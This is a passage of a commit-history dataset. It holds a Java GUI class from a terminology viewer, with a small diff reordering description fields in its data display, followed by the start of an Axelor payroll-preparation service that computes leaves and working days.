public int applyAsInt(SemanticVersion value)
{
return refex_.getReferencedComponentNid();
}
};
}
case ASSEMBLAGE:
{
return new ToIntFunction<SemanticVersion>()
{
@Override
public int applyAsInt(SemanticVersion value)
{
return refex_.getAssemblageNid();
}
};
}
case AUTHOR:
{
return new ToIntFunction<SemanticVersion>()
{
@Override
public int applyAsInt(SemanticVersion value)
{
return refex_.getAuthorNid();
}
};
}
case MODULE:
{
return new ToIntFunction<SemanticVersion>()
{
@Override
public int applyAsInt(SemanticVersion value)
{
return refex_.getModuleNid();
}
};
}
case PATH:
{
return new ToIntFunction<SemanticVersion>()
{
@Override
public int applyAsInt(SemanticVersion value)
{
return refex_.getPathNid();
}
};
}
case ATTACHED_DATA:
{
if (attachedDataColumn == null)
{
throw new RuntimeException("API misuse");
}
return new ToIntFunction<SemanticVersion>()
{
@Override
public int applyAsInt(SemanticVersion value)
{
DynamicData data = getData(refex_).length > attachedDataColumn ? getData(refex_)[attachedDataColumn] : null;
if (data != null)
{
if (data instanceof DynamicNid)
{
return ((DynamicNid)data).getDataNid();
}
else if (data instanceof DynamicUUID)
{
if (Get.identifierService().hasUuid(((DynamicUUID)data).getDataUUID()))
{
return Get.identifierService().getNidForUuids(((DynamicUUID)data).getDataUUID());
}
}
}
return 0;
}
};
}
default:
throw new RuntimeException("Missing implementation: " + desiredColumn);
}
}
/**
* A method to read the data from a semantic of an arbitrary type, mocking up static semantics as dynamic semantics, if necessary
* @param semantic
* @return the data in a Dynamic Container
*/
public static DynamicData[] getData(SemanticVersion semantic)
{
switch (semantic.getChronology().getVersionType())
{
case COMPONENT_NID:
return new DynamicData[] {new DynamicNidImpl(((ComponentNidVersion)semantic).getComponentNid())};
case DESCRIPTION:
return new DynamicData[] {new DynamicStringImpl(((DescriptionVersion)semantic).getText()),
new DynamicNidImpl(((DescriptionVersion)semantic).getLanguageConceptNid()),
new DynamicNidImpl(((DescriptionVersion)semantic).getDescriptionTypeConceptNid()),
new DynamicNidImpl(((DescriptionVersion)semantic).getCaseSignificanceConceptNid())};
case DYNAMIC:
return ((DynamicVersion<?>)semantic).getData();
case LONG:
return new DynamicData[] {new DynamicLongImpl(((LongVersion)semantic).getLongValue())};
case MEMBER:
return new DynamicData[] {};
case STRING:
return new DynamicData[] {new DynamicStringImpl(((StringVersion)semantic).getString())};
case LOGIC_GRAPH:
return new DynamicData[] {new DynamicStringImpl(((LogicGraphVersion)semantic).toString())};
case Int1_Int2_Str3_Str4_Str5_Nid6_Nid7:
case Nid1_Int2:
case Nid1_Int2_Str3_Str4_Nid5_Nid6:
case Nid1_Nid2:
case Nid1_Nid2_Int3:
case Nid1_Nid2_Str3:
case Nid1_Str2:
case Str1_Nid2_Nid3_Nid4:
case Str1_Str2:
case Str1_Str2_Nid3_Nid4:
case Str1_Str2_Nid3_Nid4_Nid5:
case Str1_Str2_Str3_Str4_Str5_Str6_Str7:
case RF2_RELATIONSHIP:
case LOINC_RECORD:
case MEASURE_CONSTRAINTS:
//Handle all brittle types
if (semantic instanceof BrittleVersion)
{
BrittleVersion bv = (BrittleVersion)semantic;
Object[] data = bv.getDataFields();
int position = 0;
DynamicData[] dd = new DynamicData[data.length];
for (BrittleDataTypes fv : bv.getFieldTypes())
{
switch (fv)
{
case INTEGER:
dd[position] = new DynamicIntegerImpl((Integer)data[position]);
break;
case NID:
dd[position] = new DynamicNidImpl((Integer)data[position]);
break;
case STRING:
dd[position] = new DynamicStringImpl((String)data[position]);
break;
case BOOLEAN:
dd[position] = new DynamicBooleanImpl((Boolean)data[position]);
break;
case FLOAT:
dd[position] = new DynamicFloatImpl((Float)data[position]);
break;
default :
throw new RuntimeException("programmer error");
}
position++;
}
return dd;
}
else
{
//Fall out to unsupported
}
case UNKNOWN:
case CONCEPT:
//concepts should be impossible to show up in this view
default :
throw new UnsupportedOperationException();
}
}
}
| komet/semantic-view/src/main/java/sh/isaac/komet/gui/semanticViewer/SemanticGUI.java | /*
* Licensed under the Apache License, Version 2.0 (the "License");
*
* You may not use this file except in compliance with the License.
*
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*
* See the License for the specific language governing permissions and
* limitations under the License.
*
* Contributions from 2013-2017 where performed either by US government
* employees, or under US Veterans Health Administration contracts.
*
* US Veterans Health Administration contributions by government employees
* are work of the U.S. Government and are not subject to copyright
* protection in the United States. Portions contributed by government
* employees are USGovWork (17USC §105). Not subject to copyright.
*
* Contribution by contractors to the US Veterans Health Administration
* during this period are contractually contributed under the
* Apache License, Version 2.0.
*
* See: https://www.usa.gov/government-works
*
* Contributions prior to 2013:
*
* Copyright (C) International Health Terminology Standards Development Organisation.
* Licensed under the Apache License, Version 2.0.
*
*/
package sh.isaac.komet.gui.semanticViewer;
import java.util.AbstractMap;
import java.util.Date;
import java.util.HashMap;
import java.util.Optional;
import java.util.function.ToIntFunction;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.mahout.math.Arrays;
import sh.isaac.api.Get;
import sh.isaac.api.Status;
import sh.isaac.api.chronicle.Chronology;
import sh.isaac.api.chronicle.LatestVersion;
import sh.isaac.api.component.concept.ConceptChronology;
import sh.isaac.api.component.semantic.SemanticChronology;
import sh.isaac.api.component.semantic.version.ComponentNidVersion;
import sh.isaac.api.component.semantic.version.DescriptionVersion;
import sh.isaac.api.component.semantic.version.DynamicVersion;
import sh.isaac.api.component.semantic.version.LogicGraphVersion;
import sh.isaac.api.component.semantic.version.LongVersion;
import sh.isaac.api.component.semantic.version.SemanticVersion;
import sh.isaac.api.component.semantic.version.StringVersion;
import sh.isaac.api.component.semantic.version.brittle.BrittleVersion;
import sh.isaac.api.component.semantic.version.brittle.BrittleVersion.BrittleDataTypes;
import sh.isaac.api.component.semantic.version.dynamic.DynamicData;
import sh.isaac.api.component.semantic.version.dynamic.types.DynamicArray;
import sh.isaac.api.component.semantic.version.dynamic.types.DynamicByteArray;
import sh.isaac.api.component.semantic.version.dynamic.types.DynamicDouble;
import sh.isaac.api.component.semantic.version.dynamic.types.DynamicFloat;
import sh.isaac.api.component.semantic.version.dynamic.types.DynamicInteger;
import sh.isaac.api.component.semantic.version.dynamic.types.DynamicLong;
import sh.isaac.api.component.semantic.version.dynamic.types.DynamicNid;
import sh.isaac.api.component.semantic.version.dynamic.types.DynamicUUID;
import sh.isaac.api.util.AlphanumComparator;
import sh.isaac.model.semantic.types.DynamicBooleanImpl;
import sh.isaac.model.semantic.types.DynamicFloatImpl;
import sh.isaac.model.semantic.types.DynamicIntegerImpl;
import sh.isaac.model.semantic.types.DynamicLongImpl;
import sh.isaac.model.semantic.types.DynamicNidImpl;
import sh.isaac.model.semantic.types.DynamicStringImpl;
import sh.isaac.utility.Frills;
import sh.isaac.utility.NumericUtilsDynamic;
import sh.komet.gui.manifold.Manifold;
/**
* {@link SemanticGUI}
*
* A Wrapper for a SemanticVersion - because the versioned refex provides no information
* about whether or not it is an old version, or if it is the latest version. Add a flag for
* is latest.
*
* Also used in cases where we are constructing a new Refex - up front, we know a NID (which is either the assemblyNid or
* the referenced component nid.
*
* @author <a href="mailto:[email protected]">Dan Armbrust</a>
*/
public class SemanticGUI
{
private static Logger logger_ = LogManager.getLogger(SemanticGUI.class);
//These variables are used when we are working with a refex that already exists
private SemanticVersion refex_;
private boolean isCurrent_;
private HashMap<String, AbstractMap.SimpleImmutableEntry<String, String>> stringCache_ = new HashMap<>();
//These variables are used when we are creating a new refex which doesn't yet exist.
private Integer buildFromReferenceNid_;
private boolean referenceIsAssemblyNid_;
private Manifold manifold_;
protected SemanticGUI(SemanticVersion refex, boolean isCurrent, Manifold manifold)
{
refex_ = refex;
isCurrent_ = isCurrent;
manifold_ = manifold;
}
protected SemanticGUI(int buildFromReferenceNid, boolean referenceIsAssemblyNid, Manifold manifold)
{
refex_ = null;
isCurrent_ = false;
buildFromReferenceNid_ = buildFromReferenceNid;
referenceIsAssemblyNid_ = referenceIsAssemblyNid;
manifold_ = manifold;
}
/**
* Contains the refex reference when this object was constructed based on an existing refex
* @return the semantic
*/
public SemanticVersion getSemantic()
{
return refex_;
}
/**
* If this was constructed based off of an existing refex, is this the most current refex? Or a historical one?
* This is meaningless if {@link #getSemantic()} return null.
* @return true if current
*/
public boolean isCurrent()
{
return isCurrent_;
}
/**
* If this was constructed with just a nid (building a new refex from scratch) this returns it - otherwise, returns null.
* @return the nid, or null
*/
public Integer getBuildFromReferenceNid()
{
return buildFromReferenceNid_;
}
/**
* @return If this was constructed with just a nid - this returns true of the nid is pointing to an assemblage concept - false if it is
* pointing to a component reference. The value is meaningless if {@link #getBuildFromReferenceNid()} returns null.
*/
public boolean getReferenceIsAssemblyNid()
{
return referenceIsAssemblyNid_;
}
/**
* For cases when it was built from an existing refex only
* @param columnTypeToCompare
* @param attachedDataColumn - optional - ignored (can be null) except applicable to {@link SemanticGUIColumnType#ATTACHED_DATA}
* @param other
* @return negative or positive for sorting purposes
*/
public int compareTo(SemanticGUIColumnType columnTypeToCompare, Integer attachedDataColumn, SemanticGUI other)
{
switch (columnTypeToCompare)
{
case STATUS_CONDENSED:
{
//sort by uncommitted first, then current / historical, then active / inactive
if (this.getSemantic().getTime() == Long.MAX_VALUE)
{
return -1;
}
else if (other.getSemantic().getTime() == Long.MAX_VALUE)
{
return 1;
}
if (this.isCurrent() && !other.isCurrent())
{
return -1;
}
else if (!this.isCurrent() && other.isCurrent())
{
return 1;
}
if (this.getSemantic().getStatus() == Status.ACTIVE && other.getSemantic().getStatus() == Status.INACTIVE)
{
return -1;
}
else if (this.getSemantic().getStatus() == Status.INACTIVE && other.getSemantic().getStatus() == Status.ACTIVE)
{
return 1;
}
return 0;
}
case TIME:
{
if (this.getSemantic().getTime() < other.getSemantic().getTime())
{
return -1;
}
else if (this.getSemantic().getTime() > other.getSemantic().getTime())
{
return -1;
}
else
{
return 0;
}
}
case COMPONENT: case ASSEMBLAGE: case STATUS_STRING: case AUTHOR: case MODULE: case PATH: case UUID:
{
String myString = this.getDisplayStrings(columnTypeToCompare, null).getKey();
String otherString = other.getDisplayStrings(columnTypeToCompare, null).getKey();
return AlphanumComparator.compare(myString, otherString, true);
}
case ATTACHED_DATA:
{
if (attachedDataColumn == null)
{
throw new RuntimeException("API misuse");
}
DynamicData myData = getData(this.refex_).length > attachedDataColumn ? getData(this.refex_)[attachedDataColumn] : null;
DynamicData otherData = getData(other.refex_).length > attachedDataColumn ? getData(other.refex_)[attachedDataColumn] : null;
if (myData == null && otherData != null)
{
return -1;
}
else if (myData != null && otherData == null)
{
return 1;
}
else if (myData == null && otherData == null)
{
return 0;
}
else if (myData instanceof DynamicFloat && otherData instanceof DynamicFloat)
{
return NumericUtilsDynamic.compare(((DynamicFloat) myData).getDataFloat(), ((DynamicFloat) otherData).getDataFloat());
}
else if (myData instanceof DynamicDouble && otherData instanceof DynamicDouble)
{
return NumericUtilsDynamic.compare(((DynamicDouble) myData).getDataDouble(), ((DynamicDouble) otherData).getDataDouble());
}
else if (myData instanceof DynamicInteger && otherData instanceof DynamicInteger)
{
return NumericUtilsDynamic.compare(((DynamicInteger) myData).getDataInteger(), ((DynamicInteger) otherData).getDataInteger());
}
else if (myData instanceof DynamicLong && otherData instanceof DynamicLong)
{
return NumericUtilsDynamic.compare(((DynamicLong) myData).getDataLong(), ((DynamicLong) otherData).getDataLong());
}
else
{
String myString = this.getDisplayStrings(columnTypeToCompare, attachedDataColumn).getKey();
String otherString = other.getDisplayStrings(columnTypeToCompare, attachedDataColumn).getKey();
return AlphanumComparator.compare(myString, otherString, true);
}
}
default:
throw new RuntimeException("Missing implementation: " + columnTypeToCompare);
}
}
/**
* @param desiredColumn
* @param attachedDataColumn should be null for most types - applicable to {@link SemanticGUIColumnType#ATTACHED_DATA}
* @return Returns the string for display, and the tooltip, if applicable. Either / or may be null.
* Key is for the display, value is for the tooltip.
*/
public AbstractMap.SimpleImmutableEntry<String, String> getDisplayStrings(SemanticGUIColumnType desiredColumn, Integer attachedDataColumn)
{
String cacheKey = desiredColumn.name() + attachedDataColumn; //null is ok on the attachedDataColumn...
AbstractMap.SimpleImmutableEntry<String, String> returnValue = stringCache_.get(cacheKey);
if (returnValue != null)
{
return returnValue;
}
switch (desiredColumn)
{
case STATUS_CONDENSED:
{
//Just easier to leave the impl in StatusCell for this one. We don't need filters on this column either.
throw new RuntimeException("No text for this field");
}
case COMPONENT: case ASSEMBLAGE: case AUTHOR: case PATH: case MODULE:
{
String text = getComponentText(getNidFetcher(desiredColumn, attachedDataColumn));
returnValue = new AbstractMap.SimpleImmutableEntry<String, String>(text, text);
break;
}
case UUID:
{
returnValue = new AbstractMap.SimpleImmutableEntry<String, String>(refex_.getPrimordialUuid().toString(), "");
break;
}
case STATUS_STRING:
{
returnValue = new AbstractMap.SimpleImmutableEntry<String, String>(refex_.getStatus().toString(), null);
break;
}
case TIME:
{
returnValue = new AbstractMap.SimpleImmutableEntry<String, String>((refex_.getTime() == Long.MAX_VALUE ? "-Uncommitted-" :
new Date(refex_.getTime()).toString()), null);
break;
}
case ATTACHED_DATA:
{
if (attachedDataColumn == null)
{
throw new RuntimeException("API misuse");
}
DynamicData data = getData(this.refex_).length > attachedDataColumn ? getData(this.refex_)[attachedDataColumn] : null;
if (data != null)
{
if (data instanceof DynamicByteArray)
{
returnValue = new AbstractMap.SimpleImmutableEntry<String, String>("[Binary]", null);
}
else if (data instanceof DynamicNid)
{
String desc = getComponentText(((DynamicNid)data).getDataNid());
returnValue = new AbstractMap.SimpleImmutableEntry<String, String>(desc, data.getDataObject().toString());
}
else if (data instanceof DynamicUUID)
{
String desc;
if (Get.identifierService().hasUuid(((DynamicUUID)data).getDataUUID()))
{
desc = getComponentText(Get.identifierService().getNidForUuids(((DynamicUUID)data).getDataUUID()));
}
else
{
desc = ((DynamicUUID)data).getDataUUID() + "";
}
returnValue = new AbstractMap.SimpleImmutableEntry<String, String>(desc, data.getDataObject().toString());
}
else if (data instanceof DynamicArray<?>)
{
DynamicArray<?> instanceData = (DynamicArray<?>)data;
StringBuilder sb = new StringBuilder();
sb.append("[");
for (DynamicData dsd : instanceData.getDataArray())
{
switch (dsd.getDynamicDataType())
{
case ARRAY:
//Could recurse... but I can't imagine a use case at the moment.
sb.append("[Nested Array], ");
break;
case STRING: case BOOLEAN: case DOUBLE: case FLOAT: case INTEGER: case LONG: case NID: case UUID:
{
//NID and UUID could be turned into strings... but, unusual use case... leave like this for now.
sb.append(dsd.getDataObject().toString());
sb.append(", ");
break;
}
case BYTEARRAY:
sb.append("[Binary of size " + dsd.getData().length + "], ");
break;
case UNKNOWN: case POLYMORPHIC:
{
//shouldn't happen - but just do the toString
sb.append("Unknown Type, ");
break;
}
default:
sb.append("Unhandled case: " + dsd.getDynamicDataType() + ", ");
logger_.warn("Missing toString case!");
break;
}
}
if (sb.length() > 1)
{
sb.setLength(sb.length() - 2);
}
sb.append("]");
returnValue = new AbstractMap.SimpleImmutableEntry<String, String>(sb.toString(), "Array of "
+ instanceData.getDataArray().length + " items: " + sb.toString());
}
else
{
returnValue = new AbstractMap.SimpleImmutableEntry<String, String>(data.getDataObject().toString(), data.getDataObject().toString());
}
}
else
{
returnValue = new AbstractMap.SimpleImmutableEntry<String, String>("", null);
}
break;
}
default:
throw new RuntimeException("Missing implementation: " + desiredColumn);
}
stringCache_.put(cacheKey, returnValue);
return returnValue;
}
private String getComponentText(ToIntFunction<SemanticVersion> nidFetcher)
{
return getComponentText(nidFetcher.applyAsInt(this.refex_));
}
private String getComponentText(int nid)
{
String text;
try
{
//This may be a different component - like a description, or another refex... need to handle.
Optional<? extends Chronology> oc = Get.identifiedObjectService().getChronology(nid);
if (!oc.isPresent())
{
text = "[NID] " + nid + " not on path";
}
else if (oc.get() instanceof ConceptChronology)
{
Optional<String> conDesc = Frills.getDescription(oc.get().getNid(), manifold_.getStampCoordinate(), manifold_.getLanguageCoordinate());
text = (conDesc.isPresent() ? conDesc.get() : "off path [NID]:" + oc.get().getNid());
}
else if (oc.get() instanceof SemanticChronology)
{
SemanticChronology sc = (SemanticChronology)oc.get();
switch (sc.getVersionType()) {
case COMPONENT_NID:
text = "Component NID Semantic using assemblage: " + Frills.getDescription(sc.getAssemblageNid(), null).orElse(sc.getAssemblageNid() + "");
break;
case DESCRIPTION:
LatestVersion<DescriptionVersion> ds = sc.getLatestVersion(manifold_.getStampCoordinate());
text = "Description Semantic: " + (ds.isPresent() ? ds.get().getText() : "off path [NID]: " + sc.getNid());
break;
case DYNAMIC:
text = "Dynamic Semantic using assemblage: " + Frills.getDescription(sc.getAssemblageNid(), null).orElse(sc.getAssemblageNid() + "");
break;
case LOGIC_GRAPH:
text = "Logic Graph Semantic [NID]: " + oc.get().getNid();
break;
case LONG:
LatestVersion<LongVersion> sl = sc.getLatestVersion(manifold_.getStampCoordinate());
text = "String Semantic: " + (sl.isPresent() ? sl.get().getLongValue() : "off path [NID]: " + sc.getNid());
break;
case MEMBER:
text = "Member Semantic using assemblage: " + Frills.getDescription(sc.getAssemblageNid(), null).orElse(sc.getAssemblageNid() + "");
break;
case STRING:
LatestVersion<StringVersion> ss = sc.getLatestVersion(manifold_.getStampCoordinate());
text = "String Semantic: " + (ss.isPresent() ? ss.get().getString() : "off path [NID]: " + sc.getNid());
break;
case Int1_Int2_Str3_Str4_Str5_Nid6_Nid7:
case LOINC_RECORD:
case MEASURE_CONSTRAINTS:
case Nid1_Int2:
case Nid1_Int2_Str3_Str4_Nid5_Nid6:
case Nid1_Nid2:
case Nid1_Nid2_Int3:
case Nid1_Nid2_Str3:
case Nid1_Str2:
case RF2_RELATIONSHIP:
case Str1_Nid2_Nid3_Nid4:
case Str1_Str2:
case Str1_Str2_Nid3_Nid4:
case Str1_Str2_Nid3_Nid4_Nid5:
case Str1_Str2_Str3_Str4_Str5_Str6_Str7:
LatestVersion<BrittleVersion> bv = sc.getLatestVersion(manifold_.getStampCoordinate());
text = "Brittle Semantic: " + (bv.isPresent() ? Arrays.toString(bv.get().getDataFields()) : "off path [NID]: " + sc.getNid());
break;
case UNKNOWN:
case CONCEPT:
//Should be impossible
default :
logger_.warn("The semantic type " + sc.getVersionType() + " is not handled yet!");
text = oc.get().toUserString();
break;
}
}
else if (oc.get() instanceof DynamicVersion<?>)
{
//TODO I don't think this is necessary / in use?
DynamicVersion<?> nds = (DynamicVersion<?>) oc.get();
text = "Nested Semantic Dynamic: using assemblage " + Frills.getDescription(nds.getAssemblageNid(), null);
}
else
{
logger_.warn("The component type " + oc.get().getClass() + " is not handled yet!");
text = oc.get().toUserString();
}
}
catch (Exception e)
{
logger_.error("Unexpected error", e);
text = "-ERROR-";
}
return text;
}
/**
* @param desiredColumn
* @param attachedDataColumn null for most types - applicable to {@link SemanticGUIColumnType#ATTACHED_DATA}
* @return the nid for the column
*/
public ToIntFunction<SemanticVersion> getNidFetcher(SemanticGUIColumnType desiredColumn, Integer attachedDataColumn)
{
switch (desiredColumn)
{
case STATUS_CONDENSED:
{
throw new RuntimeException("Improper API usage");
}
case COMPONENT:
{
return new ToIntFunction<SemanticVersion>()
{
@Override
public int applyAsInt(SemanticVersion value)
{
return refex_.getReferencedComponentNid();
}
};
}
case ASSEMBLAGE:
{
return new ToIntFunction<SemanticVersion>()
{
@Override
public int applyAsInt(SemanticVersion value)
{
return refex_.getAssemblageNid();
}
};
}
case AUTHOR:
{
return new ToIntFunction<SemanticVersion>()
{
@Override
public int applyAsInt(SemanticVersion value)
{
return refex_.getAuthorNid();
}
};
}
case MODULE:
{
return new ToIntFunction<SemanticVersion>()
{
@Override
public int applyAsInt(SemanticVersion value)
{
return refex_.getModuleNid();
}
};
}
case PATH:
{
return new ToIntFunction<SemanticVersion>()
{
@Override
public int applyAsInt(SemanticVersion value)
{
return refex_.getPathNid();
}
};
}
case ATTACHED_DATA:
{
if (attachedDataColumn == null)
{
throw new RuntimeException("API misuse");
}
return new ToIntFunction<SemanticVersion>()
{
@Override
public int applyAsInt(SemanticVersion value)
{
DynamicData data = getData(refex_).length > attachedDataColumn ? getData(refex_)[attachedDataColumn] : null;
if (data != null)
{
if (data instanceof DynamicNid)
{
return ((DynamicNid)data).getDataNid();
}
else if (data instanceof DynamicUUID)
{
if (Get.identifierService().hasUuid(((DynamicUUID)data).getDataUUID()))
{
return Get.identifierService().getNidForUuids(((DynamicUUID)data).getDataUUID());
}
}
}
return 0;
}
};
}
default:
throw new RuntimeException("Missing implementation: " + desiredColumn);
}
}
/**
* A method to read the data from a semantic of an arbitrary type, mocking up static semantics as dynamic semantics, if necessary
* @param semantic
* @return the data in a Dynamic Container
*/
public static DynamicData[] getData(SemanticVersion semantic)
{
switch (semantic.getChronology().getVersionType())
{
case COMPONENT_NID:
return new DynamicData[] {new DynamicNidImpl(((ComponentNidVersion)semantic).getComponentNid())};
case DESCRIPTION:
return new DynamicData[] {new DynamicStringImpl(((DescriptionVersion)semantic).getText()),
new DynamicNidImpl(((DescriptionVersion)semantic).getDescriptionTypeConceptNid()),
new DynamicNidImpl(((DescriptionVersion)semantic).getLanguageConceptNid()),
new DynamicNidImpl(((DescriptionVersion)semantic).getCaseSignificanceConceptNid())};
case DYNAMIC:
return ((DynamicVersion<?>)semantic).getData();
case LONG:
return new DynamicData[] {new DynamicLongImpl(((LongVersion)semantic).getLongValue())};
case MEMBER:
return new DynamicData[] {};
case STRING:
return new DynamicData[] {new DynamicStringImpl(((StringVersion)semantic).getString())};
case LOGIC_GRAPH:
return new DynamicData[] {new DynamicStringImpl(((LogicGraphVersion)semantic).toString())};
case Int1_Int2_Str3_Str4_Str5_Nid6_Nid7:
case Nid1_Int2:
case Nid1_Int2_Str3_Str4_Nid5_Nid6:
case Nid1_Nid2:
case Nid1_Nid2_Int3:
case Nid1_Nid2_Str3:
case Nid1_Str2:
case Str1_Nid2_Nid3_Nid4:
case Str1_Str2:
case Str1_Str2_Nid3_Nid4:
case Str1_Str2_Nid3_Nid4_Nid5:
case Str1_Str2_Str3_Str4_Str5_Str6_Str7:
case RF2_RELATIONSHIP:
case LOINC_RECORD:
case MEASURE_CONSTRAINTS:
//Handle all brittle types
if (semantic instanceof BrittleVersion)
{
BrittleVersion bv = (BrittleVersion)semantic;
Object[] data = bv.getDataFields();
int position = 0;
DynamicData[] dd = new DynamicData[data.length];
for (BrittleDataTypes fv : bv.getFieldTypes())
{
switch (fv)
{
case INTEGER:
dd[position] = new DynamicIntegerImpl((Integer)data[position]);
break;
case NID:
dd[position] = new DynamicNidImpl((Integer)data[position]);
break;
case STRING:
dd[position] = new DynamicStringImpl((String)data[position]);
break;
case BOOLEAN:
dd[position] = new DynamicBooleanImpl((Boolean)data[position]);
break;
case FLOAT:
dd[position] = new DynamicFloatImpl((Float)data[position]);
break;
default :
throw new RuntimeException("programmer error");
}
position++;
}
return dd;
}
else
{
//Fall out to unsupported
}
case UNKNOWN:
case CONCEPT:
//concepts should be impossible to show up in this view
default :
throw new UnsupportedOperationException();
}
}
}
| fix a bug with the display of description types | komet/semantic-view/src/main/java/sh/isaac/komet/gui/semanticViewer/SemanticGUI.java | fix a bug with the display of description types | <ide><path>omet/semantic-view/src/main/java/sh/isaac/komet/gui/semanticViewer/SemanticGUI.java
<ide> return new DynamicData[] {new DynamicNidImpl(((ComponentNidVersion)semantic).getComponentNid())};
<ide> case DESCRIPTION:
<ide> return new DynamicData[] {new DynamicStringImpl(((DescriptionVersion)semantic).getText()),
<add> new DynamicNidImpl(((DescriptionVersion)semantic).getLanguageConceptNid()),
<ide> new DynamicNidImpl(((DescriptionVersion)semantic).getDescriptionTypeConceptNid()),
<del> new DynamicNidImpl(((DescriptionVersion)semantic).getLanguageConceptNid()),
<ide> new DynamicNidImpl(((DescriptionVersion)semantic).getCaseSignificanceConceptNid())};
<ide> case DYNAMIC:
<ide> return ((DynamicVersion<?>)semantic).getData(); |
|
Java | agpl-3.0 | 9175c495b17e9577eb628fd57c78367f0787fc3b | 0 | ama-axelor/axelor-business-suite,axelor/axelor-business-suite,axelor/axelor-business-suite,axelor/axelor-business-suite,ama-axelor/axelor-business-suite,ama-axelor/axelor-business-suite | /**
* Axelor Business Solutions
*
* Copyright (C) 2017 Axelor (<http://axelor.com>).
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License, version 3,
* as published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package com.axelor.apps.hr.service;
import com.axelor.app.AppSettings;
import com.axelor.apps.base.service.administration.GeneralService;
import com.axelor.apps.base.service.weeklyplanning.WeeklyPlanningService;
import com.axelor.apps.hr.db.*;
import com.axelor.apps.hr.db.repo.*;
import com.axelor.apps.hr.exception.IExceptionMessage;
import com.axelor.apps.hr.service.config.HRConfigService;
import com.axelor.apps.hr.service.leave.LeaveService;
import com.axelor.apps.tool.file.CsvTool;
import com.axelor.exception.AxelorException;
import com.axelor.exception.db.IException;
import com.axelor.i18n.I18n;
import com.axelor.inject.Beans;
import com.axelor.meta.MetaFiles;
import com.google.inject.Inject;
import com.google.inject.persist.Transactional;
import org.joda.time.LocalDate;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.math.BigDecimal;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
public class PayrollPreparationService {
protected LeaveService leaveService;
protected LeaveRequestRepository leaveRequestRepo;
protected WeeklyPlanningService weeklyPlanningService;
@Inject
protected PayrollPreparationRepository payrollPreparationRepo;
@Inject
HRConfigService hrConfigService;
@Inject
GeneralService generalService;
@Inject
public PayrollPreparationService(LeaveService leaveService, LeaveRequestRepository leaveRequestRepo, WeeklyPlanningService weeklyPlanningService){
this.leaveService = leaveService;
this.leaveRequestRepo = leaveRequestRepo;
this.weeklyPlanningService = weeklyPlanningService;
}
public PayrollPreparation generateFromEmploymentContract(PayrollPreparation payrollPreparation, EmploymentContract employmentContract){
if(payrollPreparation.getEmployee() == null){
payrollPreparation.setEmployee(employmentContract.getEmployee());
}
if(payrollPreparation.getCompany() == null){
payrollPreparation.setCompany(employmentContract.getPayCompany());
}
if(payrollPreparation.getEmploymentContract() == null){
payrollPreparation.setEmploymentContract(employmentContract);
}
payrollPreparation.setOtherCostsEmployeeSet(employmentContract.getOtherCostsEmployeeSet());
payrollPreparation.setAnnualGrossSalary(employmentContract.getAnnualGrossSalary());
return payrollPreparation;
}
public List<PayrollLeave> fillInPayrollPreparation(PayrollPreparation payrollPreparation) throws AxelorException{
List<PayrollLeave> payrollLeaveList = fillInLeaves(payrollPreparation);
payrollPreparation.setDuration(this.computeWorkingDaysNumber(payrollPreparation,payrollLeaveList));
payrollPreparation.setExpenseAmount(this.computeExpenseAmount(payrollPreparation));
payrollPreparation.setLunchVoucherNumber(this.computeLunchVoucherNumber(payrollPreparation));
payrollPreparation.setEmployeeBonusAmount( computeEmployeeBonusAmount(payrollPreparation) );
payrollPreparation.setExtraHoursNumber( computeExtraHoursNumber(payrollPreparation) );
return payrollLeaveList;
}
public List<PayrollLeave> fillInLeaves(PayrollPreparation payrollPreparation) throws AxelorException{
List<PayrollLeave> payrollLeaveList = new ArrayList<PayrollLeave>();
LocalDate fromDate = payrollPreparation.getPeriod().getFromDate();
LocalDate toDate = payrollPreparation.getPeriod().getToDate();
Employee employee = payrollPreparation.getEmployee();
if(employee.getPublicHolidayPlanning() == null){
throw new AxelorException(String.format(I18n.get(IExceptionMessage.EMPLOYEE_PUBLIC_HOLIDAY),employee.getName()), IException.CONFIGURATION_ERROR);
}
if(employee.getPlanning()== null){
throw new AxelorException(String.format(I18n.get(IExceptionMessage.EMPLOYEE_PLANNING),employee.getName()), IException.CONFIGURATION_ERROR);
}
List<LeaveRequest> leaveRequestList = leaveRequestRepo.all().filter("self.statusSelect = ?4 AND self.user.employee = ?3 AND self.fromDate <= ?1 AND self.toDate >= ?2",toDate, fromDate,employee, LeaveRequestRepository.STATUS_VALIDATED).fetch();
for (LeaveRequest leaveRequest : leaveRequestList) {
PayrollLeave payrollLeave = new PayrollLeave();
if(leaveRequest.getFromDate().isBefore(fromDate)) {
payrollLeave.setFromDate(fromDate);
}else{
payrollLeave.setFromDate(leaveRequest.getFromDate());
}
if(leaveRequest.getToDate().isAfter(toDate)){
payrollLeave.setToDate(toDate);
}else{
payrollLeave.setToDate(leaveRequest.getToDate());
}
payrollLeave.setDuration(leaveService.computeLeaveDaysByLeaveRequest(fromDate, toDate, leaveRequest, employee));
payrollLeave.setLeaveReason(leaveRequest.getLeaveLine().getLeaveReason());
payrollLeave.setLeaveRequest(leaveRequest);
payrollLeaveList.add(payrollLeave);
}
return payrollLeaveList;
}
public BigDecimal computeWorkingDaysNumber(PayrollPreparation payrollPreparation, List<PayrollLeave> payrollLeaveList){
LocalDate fromDate = payrollPreparation.getPeriod().getFromDate();
LocalDate toDate = payrollPreparation.getPeriod().getToDate();
LocalDate itDate = new LocalDate(fromDate);
BigDecimal workingDays = BigDecimal.ZERO;
BigDecimal leaveDays = BigDecimal.ZERO;
while(!itDate.isAfter(toDate)){
workingDays = workingDays.add(new BigDecimal(weeklyPlanningService.workingDayValue(payrollPreparation.getEmployee().getPlanning(), itDate)));
itDate = itDate.plusDays(1);
}
if(payrollLeaveList != null){
